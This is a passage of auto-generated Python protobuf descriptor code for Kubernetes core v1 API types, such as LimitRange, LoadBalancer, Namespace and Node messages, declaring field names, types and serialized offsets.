full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12782, serialized_end=12876, ) _LIMITRANGEITEM_DEFAULTREQUESTENTRY = _descriptor.Descriptor( name='DefaultRequestEntry', full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultRequestEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultRequestEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultRequestEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12878, serialized_end=12979, ) _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY = _descriptor.Descriptor( name='MaxLimitRequestRatioEntry', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxLimitRequestRatioEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxLimitRequestRatioEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxLimitRequestRatioEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12981, serialized_end=13088, ) _LIMITRANGEITEM = _descriptor.Descriptor( name='LimitRangeItem', full_name='k8s.io.api.core.v1.LimitRangeItem', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.LimitRangeItem.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='max', full_name='k8s.io.api.core.v1.LimitRangeItem.max', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='min', full_name='k8s.io.api.core.v1.LimitRangeItem.min', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='default', full_name='k8s.io.api.core.v1.LimitRangeItem.default', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='defaultRequest', full_name='k8s.io.api.core.v1.LimitRangeItem.defaultRequest', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='maxLimitRequestRatio', full_name='k8s.io.api.core.v1.LimitRangeItem.maxLimitRequestRatio', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_LIMITRANGEITEM_MAXENTRY, _LIMITRANGEITEM_MINENTRY, _LIMITRANGEITEM_DEFAULTENTRY, _LIMITRANGEITEM_DEFAULTREQUESTENTRY, _LIMITRANGEITEM_MAXLIMITREQUESTRATIOENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12212, serialized_end=13088, ) _LIMITRANGELIST = _descriptor.Descriptor( name='LimitRangeList', full_name='k8s.io.api.core.v1.LimitRangeList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.LimitRangeList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.LimitRangeList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13091, serialized_end=13220, ) _LIMITRANGESPEC = _descriptor.Descriptor( name='LimitRangeSpec', full_name='k8s.io.api.core.v1.LimitRangeSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='limits', full_name='k8s.io.api.core.v1.LimitRangeSpec.limits', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13222, serialized_end=13290, ) _LIST = _descriptor.Descriptor( name='List', full_name='k8s.io.api.core.v1.List', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.List.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.List.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13293, serialized_end=13427, ) _LOADBALANCERINGRESS = _descriptor.Descriptor( name='LoadBalancerIngress', full_name='k8s.io.api.core.v1.LoadBalancerIngress', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ip', full_name='k8s.io.api.core.v1.LoadBalancerIngress.ip', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostname', full_name='k8s.io.api.core.v1.LoadBalancerIngress.hostname', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.LoadBalancerIngress.ports', index=2, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13429, serialized_end=13527, ) _LOADBALANCERSTATUS = _descriptor.Descriptor( name='LoadBalancerStatus', full_name='k8s.io.api.core.v1.LoadBalancerStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ingress', full_name='k8s.io.api.core.v1.LoadBalancerStatus.ingress', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13529, serialized_end=13607, ) _LOCALOBJECTREFERENCE = _descriptor.Descriptor( name='LocalObjectReference', full_name='k8s.io.api.core.v1.LocalObjectReference', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.LocalObjectReference.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13609, serialized_end=13645, ) _LOCALVOLUMESOURCE = _descriptor.Descriptor( name='LocalVolumeSource', full_name='k8s.io.api.core.v1.LocalVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.LocalVolumeSource.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.LocalVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13647, serialized_end=13696, ) _NFSVOLUMESOURCE = _descriptor.Descriptor( name='NFSVolumeSource', full_name='k8s.io.api.core.v1.NFSVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='server', full_name='k8s.io.api.core.v1.NFSVolumeSource.server', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.NFSVolumeSource.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.NFSVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13698, serialized_end=13763, ) _NAMESPACE = _descriptor.Descriptor( name='Namespace', full_name='k8s.io.api.core.v1.Namespace', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Namespace.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.Namespace.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.Namespace.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13766, serialized_end=13947, ) _NAMESPACECONDITION = _descriptor.Descriptor( name='NamespaceCondition', full_name='k8s.io.api.core.v1.NamespaceCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.NamespaceCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.NamespaceCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTransitionTime', full_name='k8s.io.api.core.v1.NamespaceCondition.lastTransitionTime', index=2, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.NamespaceCondition.reason', index=3, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.NamespaceCondition.message', index=4, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=13950, serialized_end=14105, ) _NAMESPACELIST = _descriptor.Descriptor( name='NamespaceList', full_name='k8s.io.api.core.v1.NamespaceList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.NamespaceList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.NamespaceList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14107, serialized_end=14234, ) _NAMESPACESPEC = _descriptor.Descriptor( name='NamespaceSpec', full_name='k8s.io.api.core.v1.NamespaceSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='finalizers', full_name='k8s.io.api.core.v1.NamespaceSpec.finalizers', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14236, serialized_end=14271, ) _NAMESPACESTATUS = _descriptor.Descriptor( name='NamespaceStatus', full_name='k8s.io.api.core.v1.NamespaceStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='phase', full_name='k8s.io.api.core.v1.NamespaceStatus.phase', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.NamespaceStatus.conditions', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14273, serialized_end=14365, ) _NODE = _descriptor.Descriptor( name='Node', full_name='k8s.io.api.core.v1.Node', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Node.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.Node.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.Node.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14368, serialized_end=14534, ) _NODEADDRESS = _descriptor.Descriptor( name='NodeAddress', full_name='k8s.io.api.core.v1.NodeAddress', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.NodeAddress.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='address', full_name='k8s.io.api.core.v1.NodeAddress.address', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14536, serialized_end=14580, ) _NODEAFFINITY = _descriptor.Descriptor( name='NodeAffinity', full_name='k8s.io.api.core.v1.NodeAffinity', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='requiredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.NodeAffinity.requiredDuringSchedulingIgnoredDuringExecution', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preferredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.NodeAffinity.preferredDuringSchedulingIgnoredDuringExecution', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14583, serialized_end=14789, ) _NODECONDITION = _descriptor.Descriptor( name='NodeCondition', full_name='k8s.io.api.core.v1.NodeCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.NodeCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.NodeCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastHeartbeatTime', full_name='k8s.io.api.core.v1.NodeCondition.lastHeartbeatTime', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTransitionTime', full_name='k8s.io.api.core.v1.NodeCondition.lastTransitionTime', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.NodeCondition.reason', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.NodeCondition.message', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=14792, serialized_end=15013, ) _NODECONFIGSOURCE = _descriptor.Descriptor( name='NodeConfigSource', full_name='k8s.io.api.core.v1.NodeConfigSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='configMap', full_name='k8s.io.api.core.v1.NodeConfigSource.configMap', index=0, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15015, serialized_end=15099, ) _NODECONFIGSTATUS = _descriptor.Descriptor( name='NodeConfigStatus', full_name='k8s.io.api.core.v1.NodeConfigStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='assigned', full_name='k8s.io.api.core.v1.NodeConfigStatus.assigned', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='active', full_name='k8s.io.api.core.v1.NodeConfigStatus.active', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastKnownGood', full_name='k8s.io.api.core.v1.NodeConfigStatus.lastKnownGood', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='error', full_name='k8s.io.api.core.v1.NodeConfigStatus.error', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15102, serialized_end=15306, ) _NODEDAEMONENDPOINTS = _descriptor.Descriptor( name='NodeDaemonEndpoints', full_name='k8s.io.api.core.v1.NodeDaemonEndpoints', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='kubeletEndpoint', full_name='k8s.io.api.core.v1.NodeDaemonEndpoints.kubeletEndpoint', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15308, serialized_end=15390, ) _NODELIST = _descriptor.Descriptor( name='NodeList', full_name='k8s.io.api.core.v1.NodeList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.NodeList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.NodeList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ 